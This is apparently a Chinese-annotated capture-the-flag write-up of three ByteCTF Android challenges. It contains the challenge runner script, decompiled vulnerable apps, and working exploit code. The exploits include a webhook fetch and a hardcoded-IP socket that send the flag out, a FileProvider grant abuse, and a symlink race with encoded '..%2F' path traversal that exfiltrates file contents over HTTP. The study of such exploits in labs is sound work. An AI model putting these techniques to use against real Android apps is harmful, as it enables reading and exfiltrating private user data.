1.显示和渲染web界面2.直接使用html进行布局3.与js进行交互

<WebView    android:id="@+id/eeeewebview"    android:layout_width="0dp"    android:layout_height="0dp"    app:layout_constraintBottom_toBottomOf="parent"    app:layout_constraintEnd_toEndOf="parent"    app:layout_constraintStart_toStartOf="parent"    app:layout_constraintTop_toTopOf="parent" />

public void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);    setContentView(R.layout.activity_main);
    // WebView    WebView webView = (WebView) findViewById(R.id.eeeewebview);    webView.loadUrl("https://www.baidu.com");    webView.setWebViewClient(new WebViewClient(){        @Override        public boolean shouldOverrideUrlLoading(WebView view, String url) {            //使用WebView加载显示url            view.loadUrl(url);            //返回true            return true;        }    });

大致为[scheme:]scheme-specific-part[#fragment]细分为[scheme:][//authority][path][?query][#fragment]

http://www.eeeeeeeeeeeeeeeea.cn/about?id=1

Intent intent = new Intent(Intent.ACTION_MAIN);intent.addCategory(Intent.CATEGORY_LAUNCHER);           ComponentName cn = new ComponentName(packageName, className);           intent.setComponent(cn);startActivity(intent);

am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'

am start -a android.intent.action.VIEW -d  https://www.baidu.com

    <uses-permission android:name="android.permission.INTERNET"/>

<application    android:usesCleartextTraffic="true"

#!/usr/bin/env python3import os   import randomimport subprocessimport sysimport timeimport requestsimport uuidfrom hashlib import *import zipfileimport signalimport string
isMacos = len(sys.argv) == 2wordlist = string.ascii_lettersdifficulty = 4random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])ADB_PORT = int(random.random() * 60000 + 5000)EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)EXPLOIT_TIME_SECS = 30APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")HOME = "/home/user"VULER = "com.bytectf.silverdroid"

ENV = {}ENV.update(os.environ)if not isMacos:    ENV.update({        "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),        "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),        "ANDROID_SDK_ROOT": "/opt/android/sdk",        "ANDROID_SDK_HOME": HOME,        "ANDROID_PREFS_ROOT": HOME,        "ANDROID_EMULATOR_HOME": HOME + "/.android",        "ANDROID_AVD_HOME": HOME + "/.android/avd",        "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",        "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")    })

def print_to_user(message):    print(message)    sys.stdout.flush()
def download_file(url):    try:        download_dir = "download"        if not os.path.isdir(download_dir):            os.mkdir(download_dir)        tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')        f = requests.get(url)        if len(f.content) > 10*1024*1024: # Limit size 10M            return None        with open(tmp_file, 'wb') as fp:            fp.write(f.content)        return tmp_file    except:        return None
def proof_of_work():    print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")    prefix = random_hex(6)    suffix = random_hex(difficulty)    targetHash = sha256((prefix+suffix).encode()).hexdigest()    print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')    print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')    proof = sys.stdin.readline().strip()    return sha256((prefix+proof).encode()).hexdigest() == targetHash

def check_apk(path):    # return True    try:        z = zipfile.ZipFile(path)        for f in z.filelist:            if f.filename == "AndroidManifest.xml":                return True        return False    except:        return False
def setup_emulator():
  #avdmanager是一个命令行工具，可以用于从命令行创建和管理 Android 虚拟设备 (AVD)，借助 AVD，您可以定义要在 Android 模拟器中模拟的 Android 手机    subprocess.call(        "avdmanager" +        " create avd" +        " --name 'pixel_xl_api_30'" +        " --abi 'google_apis/x86_64'" +        " --package 'system-images;android-30;google_apis;x86_64'" +        " --device pixel_xl" +        " --force" +        ("" if isMacos  else " > /dev/null 2> /dev/null"),        env=ENV,        close_fds=True,        shell=True)
    return subprocess.Popen(        "emulator" +        " -avd pixel_xl_api_30" +        " -no-cache" +        " -no-snapstorage" +        " -no-snapshot-save" +        " -no-snapshot-load" +        " -no-audio" +        " -no-window" +        " -no-snapshot" +        " -no-boot-anim" +        " -wipe-data" +        " -accel on" +        " -netdelay none" +        " -no-sim" +        " -netspeed full" +        " -delay-adb" +        " -port {}".format(EMULATOR_PORT) +        ("" if isMacos  else " > /dev/null 2> /dev/null ") +        "",        env=ENV,        close_fds=True,        shell=True, #通过操作系统的 shell 执行指定的命令        preexec_fn=os.setsid)
def adb(args, capture_output=True):   #执行adb命令    return subprocess.run(        # "adb {}".format(" ".join(args)) +        # ("" if isMacos  else " 2> /dev/null"),        ['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),        env=ENV,        # shell=True,        close_fds=True,        capture_output=capture_output).stdout
def adb_install(apk):    adb(["install", "-t", apk])
def adb_activity(activity, extras=None, wait=False, data=None):    args = ["shell", "am", "start"]    if wait:        args += ["-W"]    args += ["-n", activity]    if extras:        for key in extras:            args += ["-e", key, extras[key]]    if data:        args += ["-d", data]    adb(args)
def adb_broadcast(action, receiver, extras=None):    args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]    if extras:        for key in extras:            args += ["-e", key, extras[key]]    adb(args)


print_to_user(r"""[0;1;35;95m░█[0;1;31;91m▀▀[0;1;33;93m░█[0;1;32;92m░░[0;1;36;96m░▀[0;1;34;94m█▀[0;1;35;95m░█[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m▀▀[0;1;36;96m░█[0;1;34;94m▀▄[0;1;35;95m░█[0;1;31;91m▀▄[0;1;33;93m░█[0;1;32;92m▀▄[0;1;36;96m░█[0;1;34;94m▀█[0;1;35;95m░▀[0;1;31;91m█▀[0;1;33;93m░█[0;1;32;92m▀▄[0m[0;1;31;91m░▀[0;1;33;93m▀█[0;1;32;92m░█[0;1;36;96m░░[0;1;34;94m░░[0;1;35;95m█░[0;1;31;91m░▀[0;1;33;93m▄▀[0;1;32;92m░█[0;1;36;96m▀▀[0;1;34;94m░█[0;1;35;95m▀▄[0;1;31;91m░█[0;1;33;93m░█[0;1;32;92m░█[0;1;36;96m▀▄[0;1;34;94m░█[0;1;35;95m░█[0;1;31;91m░░[0;1;33;93m█░[0;1;32;92m░█[0;1;36;96m░█[0m[0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░░[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m▀▀[0;1;35;95m░▀[0;1;31;91m░▀[0;1;33;93m░▀[0;1;32;92m▀░[0;1;36;96m░▀[0;1;34;94m░▀[0;1;35;95m░▀[0;1;31;91m▀▀[0;1;33;93m░▀[0;1;32;92m▀▀[0;1;36;96m░▀[0;1;34;94m▀░[0m""")
if not isMacos:    if not proof_of_work():        print_to_user("Please proof of work again, exit...n")        exit(-1)
print_to_user("Please enter your poc url:")url = sys.stdin.readline().strip()# url should be like "https://xxx" to to ensure that `adb shell` passes intent.data correctly.if url.strip('"') == url:    url = f'"{url}"'if not url.startswith('"https://'):    print_to_user("Invalid poc url.n")    exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...n")emulator = setup_emulator()#只有连接上了模拟器/设备连接上了adb，服务才会被执行，而在Android系统完全启动前执行就会有错误发生adb(["wait-for-device"])
adb_install(APK_FILE) #将apk文件装到模拟器中with open(FLAG_FILE, "r") as f:    adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})#adb shell su root am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'#am broadcast 发送广播#-a com.wuhengctf.SET_FLAG:指定intent操作，如android.intent.action.VIEW,Intent intent = new Intent();  intent.setAction("android.SET_FLAG");#-n "com.bytectf.silverdroid/.FlagReceiver": 确定接收者#-e 'flag' 'flag{eeeeeeee}': 字符串

adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)# adb shell am start -W -n "com.bytectf.silverdroid/.MainActivity" -d "url"#-n "com.bytectf.silverdroid/.MainActivity":启动MainActivity#-d "url":传递url给MainActivity，而silver droid程序通过Uri uri0 = this.getIntent().getData()接收url


print_to_user("Launching! Let your apk fly for a while...n")
if isMacos:    input('wait for debug')else:    time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")
try:    os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)    os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)except:    pass

package com.bytectf.silverdroid;
import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.WebResourceRequest;import android.webkit.WebResourceResponse;import android.webkit.WebView;import android.webkit.WebViewClient;import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.util.HashMap;
public class MainActivity extends AppCompatActivity {    @Override  // androidx.fragment.app.FragmentActivity    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        this.setContentView(0x7F0B001C);  // layout:activity_main        Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数，可以来自另一个app        if(uri0 != null) {   //若参数不为null            WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context            webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时，我们希望目标网页仍然在当前的webview中显示，而不是在浏览器中打开                @Override  // android.webkit.WebViewClient                public boolean shouldOverrideUrlLoading(WebView view, String url) {                  //当shouldOverrideUrlLoading返回值为true，拦截webview加载url                    try {                        Uri uri0 = Uri.parse(url); //解析url                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");                        if(uri0.getScheme().equals("https")) { //scheme必须是https                            return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾，返回true，再取反返回false，不会拦截webview加载url                        }                    }                    catch(Exception e) {                        e.printStackTrace();                        return true;                    }
                    return true;                }            });            webView.setWebViewClient(new WebViewClient() {                @Override  // android.webkit.WebViewClient                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {  //拦截url，js，css等响应阶段,拦截所有的url请求，若返回非空，则不再进行网络资源请求，而是使用返回的资源数据                    FileInputStream inputStream;                    Uri uri0 = request.getUrl();  //获得js请求的request                       if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件，新建file以cache为目录，uri0的最后一个地址段                      //getCacheDir获取手机中/data/data/包名/cache目录；
                        if(cacheFile.exists()) { //若映射的文件真实存在，则进入下面循环                            try {                                inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内，之后可以进行读取操作                            }                            catch(IOException e) {                                return null;                            }
                            HashMap headers = new HashMap();                            headers.put("Access-Control-Allow-Origin", "*");                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);  //返回响应                        }                    }
                    return super.shouldInterceptRequest(view, request);                }            });            this.setContentView(webView); //            webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性，能够执行Javascript脚本            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);        }    }}

<h1>jump</h1><script>    function getQueryVariable(variable){        var query = window.location.search.substring(1); //window.location是获得当前页面的url地址，添上search之后表示从"?"开始的url，而substring(1)就是将"?"截掉。
        var vars = query.split("&");  //把query以"&"进行分割        for (var i=0;i<vars.length;i++) {            var pair = vars[i].split("=");            if(pair[0] == variable){return pair[1];}        }        return(false);  //获得url参数    }    var myurl = getQueryVariable("url").toString().toLowerCase();//    if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) { //myurl不能含有myqcloud        window.location.href = myurl;  //只表示打开这个url页面，并不是打开且刷新这个页面    }</script>

<script>    async function fetchTest(){
        fetch("https://webhook.site/bf5aa6d4-1b89-4eaf-a1dd-9b003555cd99/?flag=123")}    (async () => {await fetchTest();})();</script>

print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)if not check_apk(EXP_FILE):    print_to_user("Invalid apk file.n")    exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...n")emulator = setup_emulator()adb(["wait-for-device"])
adb_install(APK_FILE)   #安装受害者apkwith open(FLAG_FILE, "r") as f:    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
time.sleep(3)adb_install(EXP_FILE)  #安装恶意apkadb_activity(f"{ATTACKER}/.MainActivity") #启动恶意apk的MainActivity
print_to_user("Launching! Let your apk fly for a while...n")

package com.bytectf.bronzedroid;
import android.app.Activity;import android.os.Bundle;
public class MainActivity extends Activity {    @Override  // android.app.Activity    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        this.setContentView(0x7F0B001C);  // layout:activity_main        String s = this.getIntent().getAction(); //获得启动该Activity的intent的Action属性        if(s != null && (s.equals("ACTION_SHARET_TO_ME"))) { //判断            this.setResult(-1, this.getIntent()); //将某些数据回带给启动该Activity的Activity            this.finish();        }    }}

package com.eeeetest.bronzedroid_pwn;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.widget.TextView;
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.Socket;import java.net.URL;
public class MainActivity extends AppCompatActivity {
    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);


        Intent intent = new Intent();        intent.setAction("ACTION_SHARET_TO_ME");        intent.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");        intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);        startActivityForResult(intent,1);    }
    @Override //重写    public void onActivityResult(int requestCode, int resultCode, Intent data) { //得到回传的数据        super.onActivityResult(requestCode, resultCode, data); //重写        try {            InputStreamReader inputStreamReader = new InputStreamReader(getContentResolver().openInputStream(data.getData()));            char[] cArr = new char[1024];            StringBuffer stringBuffer = new StringBuffer("");            while (-1 != inputStreamReader.read(cArr, 0, 1024)) {                stringBuffer.append(String.valueOf(cArr));            }            //send(new String(stringBuffer));            String flag = new String(stringBuffer);            ((TextView) findViewById(R.id.tv_show)).setText(new String(stringBuffer));

        } catch (Exception e) {            e.printStackTrace();        }    }    }

private void send(final String str) { //和服务器建立socket通信，将flag带入到服务器内    new Thread() {        @Override        public void run() {            try {                Socket socket = new Socket("47.101.67.103", 1235);                sleep(1000L);                if (socket.isConnected()) {                    System.out.println("connect succeed!");                    OutputStream outputStream = socket.getOutputStream();                    outputStream.write(str.getBytes());                    outputStream.flush();                    outputStream.close();                    socket.close();                }            } catch (Exception unused) {            }        }    }.start();}

print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)if not check_apk(EXP_FILE):    print_to_user("Invalid apk file.n")    exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...n")emulator = setup_emulator()adb(["wait-for-device"])
adb_install(APK_FILE)   #安装受害apkadb_activity(f"{VULER}/.MainActivity")  ######  启动受害apk的MainActivitywith open(FLAG_FILE, "r") as f:    adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) #发送flag
time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity")  #运行恶意apk的MainActivity
print_to_user("Launching! Let your apk fly for a while...n")
if isMacos:    input('wait for debug')else:    time.sleep(EXPLOIT_TIME_SECS)
print_to_user("exiting......")

package com.bytectf.golddroid;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;
public class MainActivity extends AppCompatActivity {    @Override  // androidx.fragment.app.FragmentActivity    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        this.setContentView(0x7F0B001C);  // layout:activity_main        File externalFile = new File(this.getExternalFilesDir("sandbox"), "file1"); //getExternalFilesDir对应的目录是/sdcard/Android/data/包名/files/，映射sandbox文件夹内的file1文件        try {            FileOutputStream fileOutputStream = new FileOutputStream(externalFile); //创建externalFile文件            fileOutputStream.write("I'm in externaln".getBytes(StandardCharsets.UTF_8)); //写入            fileOutputStream.close();        }        catch(IOException e) {            e.printStackTrace();        }    }}

package com.bytectf.golddroid;
import android.content.ContentProvider;import android.content.ContentValues;import android.database.Cursor;import android.net.Uri;import android.os.ParcelFileDescriptor;import java.io.File;import java.io.FileNotFoundException;import java.io.IOException;
public class VulProvider extends ContentProvider { //    @Override  // android.content.ContentProvider    public int delete(Uri uri, String selection, String[] selectionArgs) {        return 0;    }
    @Override  // android.content.ContentProvider    public String getType(Uri uri) {        return null;    }
    @Override  // android.content.ContentProvider    public Uri insert(Uri uri, ContentValues values) {        return null;    }
    @Override  // android.content.ContentProvider    public boolean onCreate() {        return false;    }
    @Override  // android.content.ContentProvider    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {        File file0 = this.getContext().getExternalFilesDir("sandbox");      // file0 = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); //        // file = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/uri.getLastPathSegment()          try {            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { //防止目录穿越,getCanonicalPath会将目录中存在./和../的路径全部转化成没有./和../的路径，下面例子              //Path: workspace/test/../../../.././test1.txt             //getAbsolutePath:/Users/eeee/Desktop/CTF/ByteCTF/Gold_Droid/workspace/test/../../../.././test1.txt             //getCanonicalPath: /Users/eeee/Desktop/CTF/test1.txt                throw new IllegalArgumentException();            }        }        catch(IOException e) {            e.printStackTrace();        }
        return ParcelFileDescriptor.open(file, 0x10000000); //0x10000000代表只读    }
    @Override  // android.content.ContentProvider    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {        return null;    }
    @Override  // android.content.ContentProvider    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {        return 0;    }}

public static ParcelFileDescriptor open(File file, int mode) throws FileNotFoundException {    final FileDescriptor fd = openInternal(file, mode);    if (fd == null) return null;    return new ParcelFileDescriptor(fd);}

private static FileDescriptor openInternal(File file, int mode) throws FileNotFoundException {    final int flags = FileUtils.translateModePfdToPosix(mode) | ifAtLeastQ(O_CLOEXEC);    int realMode = S_IRWXU | S_IRWXG;    if ((mode & MODE_WORLD_READABLE) != 0) realMode |= S_IROTH;    if ((mode & MODE_WORLD_WRITEABLE) != 0) realMode |= S_IWOTH;    final String path = file.getPath(); //重新获得了path，没有用getCanonicalPath过滤，这样就存在目录穿越    try {        return Os.open(path, flags, realMode);    } catch (ErrnoException e) {        throw new FileNotFoundException(e.getMessage());    }}

package com.bytectf.test;
import androidx.appcompat.app.AppCompatActivity;import java.io.File;import java.io.IOException;

import android.net.Uri;import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        File file0 = new File("/data/data/com.bytectf.pwngolddroid/","cache");            //取得相对路径        System.out.println("file0 Path: " + file0.getPath());
        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";        Uri uri = Uri.parse(path);        System.out.println("uri.getLastPathSegment:"+uri.getLastPathSegment());   //利用"%2F"绕过getLastPathSegment，让其存在目录穿越
        File file = new File(this.getExternalFilesDir("sandbox"),"../../../../../../../../data/data/com.bytectf.pwngolddroid/symlink");        File file1 = new File(this.getExternalFilesDir("sandbox"),uri.getLastPathSegment());        File file2 = new File(this.getExternalFilesDir("sandbox"),"..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink");        System.out.println("file Path: " + file.getPath());        System.out.println("file1 Path: " + file1.getPath());        System.out.println("file2 Path: " + file2.getPath());        try {            System.out.println("file1.getCanonicalPath:"+file1.getCanonicalPath());        } catch (IOException e) {            e.printStackTrace();        }
        try {            if(!file1.getCanonicalPath().startsWith(file0.getCanonicalPath())) {  /////////////                throw new IllegalArgumentException();            }        }        catch(IOException e) {            e.printStackTrace();        }        //取得绝对路径//        try{//            System.out.println("getCanonicalPath: "+ file.getCanonicalPath()); }//        catch(Exception e){}    }

    }

package com.bytectf.pwngolddroid;
import androidx.appcompat.app.AppCompatActivity;import android.content.ContentResolver;import android.net.Uri;import android.os.Bundle;import android.util.Log;
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.URL;

public class MainActivity extends AppCompatActivity {    String symlink;
    public void httpGet(String msg) {        new Thread(new Runnable() {            @Override            public void run() {                HttpURLConnection connection = null;                BufferedReader reader = null;                try {                    Log.e("in_httpGet","inHttpGet1");                    URL url = new URL("http://ip:port/flag?flag=" + msg); //这里可以写自己博客的ip和端口，对其进行访问，然后查看日志，我的日志在/var/log/nginx/access.log                    Thread.sleep(1);                    Log.e("in_httpGet","inHttpGet2");                    connection = (HttpURLConnection) url.openConnection();                    Thread.sleep(1);                    Log.e("in_httpGet","inHttpGet3");                    connection.setRequestMethod("GET");                    Thread.sleep(1);                    Log.e("in_httpGet","inHttpGet4");                    connection.getInputStream();                    Thread.sleep(1);                    Log.e("httpget succeed","http_get succeed");                } catch (IOException | InterruptedException e) {                    e.printStackTrace();                }            }        }).start();    }
    private String readUri(Uri uri) {        InputStream inputStream = null;        try {            ContentResolver contentResolver = getContentResolver();            inputStream = contentResolver.openInputStream(uri);            if (inputStream != null) {                byte[] buffer = new byte[1024];                int result;                String content = "";                while ((result = inputStream.read(buffer)) != -1) {                    content = content.concat(new String(buffer, 0, result));                }                return content;            }        } catch (IOException e) {            Log.e("receiver", "IOException when reading uri", e);        } catch (IllegalArgumentException e) {            Log.e("receiver", "IllegalArgumentException", e);        } finally {            if (inputStream != null) {                try {                    inputStream.close();                } catch (IOException e) {                    Log.e("receiver", "IOException when closing stream", e);                }            }        }        return null;    }    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);
        String root = getApplicationInfo().dataDir;        symlink = root + "/symlink";        try {
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();        } catch (InterruptedException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }
        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";        //String path = "content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1";        new Thread(() -> {            while (true) {                try {                    Thread.sleep(1);                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();                } catch (InterruptedException e) {                    e.printStackTrace();                } catch (IOException e) {                    e.printStackTrace();                }            }        }).start();
        new Thread(() -> {            while (true) {                try {                    Thread.sleep(1);                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();                } catch (InterruptedException e) {                    e.printStackTrace();                } catch (IOException e) {                    e.printStackTrace();                }            }        }).start();
        new Thread(() -> {            while (true) {                try {                    Thread.sleep(10);                } catch (InterruptedException e) {                    e.printStackTrace();                }                String data = readUri(Uri.parse(path));                if(data.length()>0){                    Log.e("has_data",data);                    httpGet(data);                }
            }        }).start();    }}